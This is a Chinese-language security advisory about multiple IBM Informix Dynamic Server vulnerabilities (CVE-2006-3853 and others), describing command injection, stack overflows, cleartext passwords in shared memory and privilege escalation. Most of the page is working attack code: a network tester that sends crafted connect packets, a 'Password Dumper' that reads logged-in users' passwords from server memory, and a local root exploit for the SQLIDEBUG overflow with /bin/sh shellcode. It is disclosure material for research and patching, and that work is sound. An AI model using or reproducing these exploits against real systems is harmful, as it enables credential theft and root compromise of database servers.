首页 -> 安全研究
安全研究
安全漏洞
IBM Informix多个安全漏洞
发布日期:2006-08-11
更新日期:2006-08-15
受影响系统:
Novell Informix Dynamic Server 9.40.UC5不受影响系统:
Novell Informix Dynamic Server 9.40.UC3
Novell Informix Dynamic Server 9.40.UC2
Novell Informix Dynamic Server 9.40.UC1
Novell Informix Dynamic Server 9.40.TC5
Novell Informix Dynamic Server 9.40 xC7
Novell Informix Dynamic Server 9.4
Novell Informix Dynamic Server 7.31.xD8
Novell Informix Dynamic Server 7.3
Novell Informix Dynamic Server 10.0 xC3
Novell Informix Dynamic Server 10.0
Novell Informix Dynamic Server 9.40.xD8描述:
Novell Informix Dynamic Server 7.31.xD9
Novell Informix Dynamic Server 10.0.xC4
BUGTRAQ ID: 19264
CVE(CAN) ID: CVE-2006-3853,CVE-2006-3854,CVE-2006-3855,CVE-2006-3857,CVE-2006-3858,CVE-2006-3860,CVE-2006-3862,CVE-2006-3861
Informix Dynamic Server(IDS)是一款由IBM开发的数据库。
IBM Informix Dynamic Server中存在多个安全漏洞,具体如下:
1 ifx_load_internal SQL函数可能将任意函数库加载到数据库服务进程的地址空间。攻击者可以将代码放置在Windows的DllMain()函数或Linux的_init()函数上,当加载函数库时就会导致自动执行代码。
2 如果用户名大于32个字节的话就会调用_mt_logprintf()记录一条错误消息("%s :
username is longer than usersize(32).")。_mt_logprintf()会在栈上创建960字节的缓冲区,然后在vsprintf()调用中将错误消息做为参数传送给该目标。因此如果用户名大于960字节的话就会导致溢出,控制进程的执行路径。
3 Informix服务器记录用户时未经长度检查便将用户名拷贝到了260字节的栈缓冲区,导致覆盖栈的返回地址,将进程的执行路径重新定向到攻击者所选择的位置。
4 攻击者可以向SET DEBUG FILE SQL语句和start_onpload及dbexp过程注入任意操作系统命令。注入到SET DEBUG FILE中的命令会以informix用户的权限执行;注入到dbexp或start_onpload中的命令会以登录用户的权限执行。
5 可使用LOTOFILE和rlt_tracefile_set函数以及SET DEBUG FILE语句创建并写入文件。
6 在SQL级别以下SQL语句存在溢出漏洞:
SET DEBUG FILE
IFX_FILE_TO_FILE
FILETOCLOB
LOTOFILE
DBINFO
在协议级别以下C函数存在溢出:
_sq_remview
_sq_remproc
_sq_remperms
_sq_distfetch
_sq_dcatalog
上述语句或函数都调用了getname()函数。该函数将源字符串拷贝到目标缓冲区,类似于strcpy()。
此外在协议级别上_sq_scroll和_sq_bbind函数中的空指针可能触发未处理的异常,导致拒绝服务。
7 当用户登录到Informix服务器时会在共享内存部分找到明文口令。在Windows上“everyone”都可以打开这部分内存,读取内容,访问所有登录用户的口令。在Linux和Windows上如果出现崩溃的话,共享内存都会被dump到完全可读的日志文件。
8 运行在Linux上Informix的大多数setuid root程序中都存在溢出漏洞。以下形式的超长SQLIDEBUG环境变量:
SQLIDEBUG=1:/long-file-name
在超长filename的272-6字节处栈中所保存的返回地址会被覆盖。
9 在Informix上公众(public)可以获得连接权限,因此任何登录用户都可以进行连接。公众还可以发布并创建数据库命令。在创建数据库时,创建该数据库的用户会成为该数据库的DBA。DBA可以以informix用户的权限执行代码,并逐步获得root用户权限。
<*来源:David Litchfield (david@nextgenss.com)
链接:http://www.novell.com/inc/pf/pf.jsp?url=http://support.novell.com/cgi-bin/search/searchtid.cgi?/2973
http://www.ngssoftware.com/research/
http://www.ngssoftware.com/research/
http://www.ngssoftware.com/research/
http://www.ngssoftware.com/research/
http://www.ngssoftware.com/research/
http://www.ngssoftware.com/research/
http://www.ngssoftware.com/research/
http://www.ngssoftware.com/research/
http://www.ngssoftware.com/research/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#define PHEADER 2
#define HSIZE 8
#define SQLEXEC 8
#define PASS_START 2
#define VERSION 12
#define RDS 13
#define DB_START 2
#define IEEE_START 2
#define IEEE 6
#define DP_START 2
#define DBM_START 2
#define DBMONEY 3
#define CL_START 14
#define CL 13
#define CPC_START 17
#define CPC 2
#define DBL_START 10
#define DBL 10
int MakeRequest();
int StartWinsock(void);
int CreateConnectPacket();
int Base64Encode(char *str);
int IfxPort = 1516;
int len = 0;
struct sockaddr_in s_sa;
struct hostent *he;
unsigned int addr;
unsigned char host[260]="";
unsigned char *Base64Buffer = NULL;
unsigned char username[4260]="";
unsigned char password[4260]="";
unsigned char database[4260]="";
unsigned char dbaspath[4260]="";
unsigned char crud[]=
"\x3a\x41\x47\x30\x41\x41\x41\x41\x39\x62\x32\x77\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x39\x63\x32\x39\x6a\x64\x47\x4e"
"\x77\x41\x41\x41\x41\x41\x41\x41\x42\x41\x41\x41\x42\x4d\x51\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x63\x33\x46\x73\x5a\x58\x68"
"\x6c\x59\x77\x41\x41\x41\x41\x41\x41\x41\x41\x56\x7a\x63\x57\x78"
"\x70\x41\x41\x41\x43\x41\x41\x41\x41\x41\x77\x41\x4b\x62\x32\x78"
"\x66\x61\x47\x56\x6a\x64\x47\x39\x79\x41\x41\x42\x72\x41\x41\x41"
"\x41\x41\x41\x41\x41\x44\x6d\x67\x41\x41\x41\x41\x41\x41\x41\x64"
"\x54\x53\x56\x4a\x4a\x56\x56\x4d\x41\x41\x41\x64\x54\x53\x56\x4a"
"\x4a\x56\x56\x4d\x41\x41\x43\x42\x44\x4f\x6c\x78\x45\x62\x32\x4e"
"\x31\x62\x57\x56\x75\x64\x48\x4d\x67\x59\x57\x35\x6b\x49\x46\x4e"
"\x6c\x64\x48\x52\x70\x62\x6d\x64\x7a\x58\x45\x52\x42\x56\x6b\x6c"
"\x45\x41\x41\x42\x30\x41\x41\x67\x41\x41\x41\x54\x53\x41\x41\x41"
"\x41\x41\x41\x42\x5f\x00";
unsigned char header[12]="\x01\x7A\x01\x3D\x00\x00";
char *ConnectPacket = NULL;
int CreateConnectPacket()
{
unsigned short x = 0;
len = 0;
len = PHEADER + HSIZE + SQLEXEC;
len = len + PASS_START + VERSION + RDS;
len = len + DB_START + IEEE_START + IEEE;
len = len + DP_START + DBM_START + DBMONEY;
len = len + CL_START + CL + CPC_START;
len = len + CPC + DBL_START + DBL;
len = len + strlen(username) + 1;
len = len + strlen(password) + 1;
len = len + strlen(database) + 1;
len = len + strlen(dbaspath) + 1;
len = len + sizeof(crud);
len ++;
ConnectPacket = (char *)malloc(len);
if(!ConnectPacket)
return 0;
memset(ConnectPacket,0,len);
strcpy(ConnectPacket,"\x73\x71"); // HEADER
strcat(ConnectPacket,"\x41\x59\x49\x42\x50\x51\x41\x41"); // Size
strcat(ConnectPacket,"\x73\x71\x6c\x65\x78\x65\x63\x20"); // sqlexec
strcat(ConnectPacket,username); // username
strcat(ConnectPacket,"\x20"); // space
strcat(ConnectPacket,"\x2d\x70"); // password_start
strcat(ConnectPacket,password); // password *
strcat(ConnectPacket,"\x20"); // space
strcat(ConnectPacket,"\x39\x2e\x32\x32\x2e\x54\x43\x33\x20\x20\x20"); //
version
strcat(ConnectPacket,"\x52\x44\x53\x23\x4e\x30\x30\x30\x30\x30\x30\x20");
// RDS
strcat(ConnectPacket,"\x2d\x64"); // database_start
strcat(ConnectPacket,database); // database *
strcat(ConnectPacket,"\x20"); // space
strcat(ConnectPacket,"\x2d\x66"); // ieee_start
strcat(ConnectPacket,"\x49\x45\x45\x45\x49\x20"); // IEEE
strcat(ConnectPacket,"\x44\x42\x50\x41\x54\x48\x3d\x2f\x2f"); //
dbpath_start
strcat(ConnectPacket,dbaspath); // dbpath *
strcat(ConnectPacket,"\x20"); // space
strcat(ConnectPacket,"\x44\x42\x4d\x4f\x4e\x45\x59\x3d"); //
dbmoney_start
strcat(ConnectPacket,"\x24\x2e\x20"); // dbmoney
strcat(ConnectPacket,"\x43\x4c\x49\x45\x4e\x54\x5f\x4c\x4f\x43\x41\x4c\x45\x3d")
; // client_locale_start
strcat(ConnectPacket,"\x65\x6e\x5f\x55\x53\x2e\x43\x50\x31\x32\x35\x32\x20"); //
client_locale
strcat(ConnectPacket,"\x43\x4c\x4e\x54\x5f\x50\x41\x4d\x5f\x43\x41\x50\x41\x42\x
4c\x45\x3d"); // client_pam_capable_start
strcat(ConnectPacket,"\x31\x20"); // client_
pam_capable
strcat(ConnectPacket,"\x44\x42\x5f\x4c\x4f\x43\x41\x4c\x45\x3d"); //
db_locale_start
strcat(ConnectPacket,"\x65\x6e\x5f\x55\x53\x2e\x38\x31\x39\x20"); //
db_locale
strcat(ConnectPacket,crud);
x = (unsigned short) strlen(ConnectPacket);
x = x >> 8;
header[0]=x;
x = (unsigned short) strlen(ConnectPacket);
x = x - 3;
x = x << 8;
x = x >> 8;
header[1]=x;
Base64Encode(header);
if(!Base64Buffer)
return 0;
memmove(&ConnectPacket[2],Base64Buffer,8);
return 1;
}
int main(int argc, char *argv[])
{
unsigned int ErrorLevel=0;
int count = 0;
char buffer[100000]="";
if(argc != 7)
{
printf("Informix Tester.\n");
printf("C:\\>%s host port username password database
dbpath\n",argv[0]);
return 0;
}
printf("Here");
strncpy(host,argv[1],256);
strncpy(username,argv[3],4256);
strncpy(password,argv[4],4256);
strncpy(database,argv[5],4256);
strncpy(dbaspath,argv[6],4256);
IfxPort = atoi(argv[2]);
if(CreateConnectPacket()==0)
return printf("Error building Connect packet.\n");
printf("\n%s\n\n\n",ConnectPacket);
ErrorLevel = StartWinsock();
if(ErrorLevel==0)
return printf("Error starting Winsock.\n");
MakeRequest1();
WSACleanup();
if(Base64Buffer)
free(Base64Buffer);
return 0;
}
int StartWinsock()
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
return 0;
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
{
WSACleanup();
return 0;
}
if (isalpha(host[0]))
{
he = gethostbyname(host);
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
}
else
{
addr = inet_addr(host);
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,&addr,4);
he = (struct hostent *)1;
}
if (he == NULL)
{
WSACleanup();
return 0;
}
return 1;
}
int MakeRequest1()
{
char resp[600]="";
int snd=0,rcv=0,count=0, var=0;
unsigned int ttlbytes=0;
unsigned int to=10000;
struct sockaddr_in cli_addr;
SOCKET cli_sock;
char *ptr = NULL;
char t[20]="";
char status[4]="";
cli_sock=socket(AF_INET,SOCK_STREAM,0);
if (cli_sock==INVALID_SOCKET)
return printf("socket error.\n");
setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned
int));
s_sa.sin_port=htons((unsigned short)1526);
if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
{
closesocket(cli_sock);
printf("Connect error.\n");
ExitProcess(0);
}
send(cli_sock,ConnectPacket,strlen(ConnectPacket)+1,0);
rcv = recv(cli_sock,resp,596,0);
if(rcv == SOCKET_ERROR)
{
printf("recv error.\n");
goto endfunc;
}
printf("Recv: %d bytes [%x]\n",rcv,resp[0]);
count = 0;
while(count < rcv)
{
if(resp[count]==0x00 || resp[count] < 0x20 || resp[count] > 0x7F)
resp[count]=0x20;
count ++;
}
printf("%s\n\n\n",resp);
endfunc:
ZeroMemory(resp,600);
closesocket(cli_sock);
return 0;
}
int Base64Encode(char *str)
{
unsigned int length = 0, cnt = 0, res = 0, count = 0, l = 0;
unsigned char A = 0;
unsigned char B = 0;
unsigned char C = 0;
unsigned char D = 0;
unsigned char T = 0;
unsigned char tmp[8]="";
unsigned char *ptr = NULL, *x = NULL;
length = strlen(str);
if(length > 0xFFFFFF00)
{
printf("size error.\n");
return 0;
}
res = length % 3;
if(res)
{
res = length - res;
res = length / 3;
res ++;
}
else
res = length / 3;
l = res;
res = res * 4;
if(res < length)
{
printf("size error");
return 0;
}
Base64Buffer = (unsigned char *) malloc(res+1);
if(!Base64Buffer)
{
printf("malloc error");
return 0;
}
memset(Base64Buffer,0,res+1);
ptr = (unsigned char *) malloc(length+16);
if(!ptr)
{
free(Base64Buffer);
Base64Buffer = 0;
printf("malloc error.\n");
return 0;
}
memset(ptr,0,length+16);
x = ptr;
strcpy(ptr,str);
while(count < l)
{
A = ptr[0] >> 2;
B = ptr[0] << 6;
B = B >> 2;
T = ptr[1] >> 4;
B = B + T;
C = ptr[1] << 4;
C = C >> 2;
T = ptr[2] >> 6;
C = C + T;
D = ptr[2] << 2;
D = D >> 2;
tmp[0] = A;
tmp[1] = B;
tmp[2] = C;
tmp[3] = D;
while(cnt < 4)
{
if(tmp[cnt] < 26)
tmp[cnt] = tmp[cnt] + 0x41;
else if(tmp[cnt] < 52)
tmp[cnt] = tmp[cnt] + 0x47;
else if(tmp[cnt] < 62)
tmp[cnt] = tmp[cnt] - 4;
else if(tmp[cnt] == 62)
tmp[cnt] = 0x2B;
else if(tmp[cnt] == 63)
tmp[cnt] = 0x2F;
else
{
free(x);
free(Base64Buffer);
Base64Buffer = NULL;
return 0;
}
cnt ++;
}
cnt = 0;
ptr = ptr + 3;
count ++;
strcat(Base64Buffer,tmp);
}
free(x);
return 1;
}
以下代码可以从Windows上的Informix获得记录的用户名和口令:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char * argv[] )
{
HANDLE h;
unsigned char *ptr;
printf("\n\n\tInformix Password Dumper\n\n");
if(argc !=2)
{
printf("\tUsage:\n\n\tC:\\>%s SECTION\n\n",argv[0]);
printf("\te.g.\n\n\tC:\\>%s T1381386242\n\n",argv[0]);
printf("\tThis utility uses MapViewOfFile to read a shared memory
section\n");
printf("\tin the Informix server process and dumps the passwords
of all\n");
printf("\tconnected users.\n\n\tDavid Litchfield\
n\t(davidl@ngssoftware.com)\n");
printf("\t11th January 2004\n\n");
return 0;
}
h = OpenFileMapping(FILE_MAP_READ, FALSE, argv[1]);
if(!h)
return printf("Couldn't open section %s\n",argv[1]);
ptr = (unsigned char *)MapViewOfFile( h, FILE_MAP_READ, 0, 0, 0 );
printf("The following users are connected:\n\n");
__try
{
while( 1 )
{
if(*ptr == ' ')
{
ptr ++;
if(*ptr == '-')
{
ptr ++;
if(*ptr == 'p')
{
ptr ++;
dumppassword(ptr);
}
}
}
ptr++;
}
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
}
return 0;
}
// <SP>USERNAME<SP>-pPASSWORD<SP>
int dumppassword(unsigned char *fptr)
{
unsigned char count = 0;
unsigned char *ptr = NULL;
ptr = fptr - 4;
while(count < 255)
{
if(*ptr == 0x00)
return printf("Error\n");
if(*ptr == 0x20)
break;
ptr --;
count ++;
}
count = 0;
ptr ++;
printf("Username: ");
while(count < 1)
{
if(*ptr == 0x20)
break;
printf("%c",*ptr);
ptr ++;
}
count = 0;
ptr = ptr + 3;
printf("\t\tPassword: ");
while(count < 1)
{
if(*ptr == 0x20)
break;
printf("%c",*ptr);
ptr ++;
}
count = 0;
printf("\n");
return 0;
}
以下代码允许攻击者获得root权限:
#include <stdio.h>
unsigned char GetAddress(char *address, int lvl);
unsigned char shellcode[]=
"\x31\xC0\x31\xDB\xb0\x17\x90\xCD\x80\x6A\x0B\x58\x99\x52\x68\x6E"
"\x2F\x73\x68\x68\x2F\x2F\x62\x69\x54\x5B\x52\x53\x54\x59\xCD\x80"
"\xCC\xCC\xCC\xCC";
int main(int argc, char *argv[])
{
unsigned char buffer[2000]="";
unsigned char sqlidebug[2000]="1:/";
unsigned char X = 0x61, cnt = 0;
int count = 0;
if(argc != 2)
{
printf("\n\n\tExploit for the Informix SQLIDEBUG overflow\
n\n\t");
printf("Gets a rootshell via onmode\n\n\tUsage:\n\n\t");
printf("$ INFORMIXDIR=/opt/informix; export INFORMIXDIR\n\t");
printf("$ SQLIDEBUG=`%s address` ; export SQLIDEBUG\n\t$ onmode\
n\t",argv[0]);
printf("sh-2.05b# id\n\tuid=0(root) gid=500(litch)
groups=500(litch)\n\n\t");
printf("\n\n\taddress is the likely address of the stack.\n\t");
printf("On Redhat/Fedora 2 it can be found c. FEFFF448\n\n\t");
printf("David Litchfield\n\t27th August
2004\n\t(davidl@ngssoftware.com)\n\n");
return 0;
}
while(count < 271)
buffer[count++]=0x42;
count = strlen(buffer);
buffer[count++]=GetAddress(argv[1],6);
buffer[count++]=GetAddress(argv[1],4);
buffer[count++]=GetAddress(argv[1],2);
buffer[count++]=GetAddress(argv[1],0);
while(count < 1400)
buffer[count++]=0x90;
strcat(buffer,shellcode);
strcat(sqlidebug,buffer);
printf("%s",sqlidebug);
return 0;
}
unsigned char GetAddress(char *address, int lvl)
{
char A = 0, B = 0;
int len = 0;
len = strlen(address);
if(len !=8)
return 0;
if(lvl)
if(lvl ==2 || lvl ==4 || lvl ==6 )
goto cont;
else
return 0;
cont:
A = (char)toupper((int)address[0+lvl]);
B = (char)toupper((int)address[1+lvl]);
if(A < 0x30)
return 0;
if(A < 0x40)
A = A - 0x30;
else
{
if(A > 0x46 || A < 41)
return 0;
else
A = A - 0x37;
}
if(B < 0x30)
return 0;
if(B < 0x40)
B = B - 0x30;
else
{
if(B > 0x46 || B < 41)
return 0;
else
B = B - 0x37;
}
A = (A * 0x10 + B);
return A;
}
建议:
厂商补丁:
Novell
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://support.novell.com/security-alerts
浏览次数:3591
严重程度:0(网友投票)
绿盟科技给您安全的保障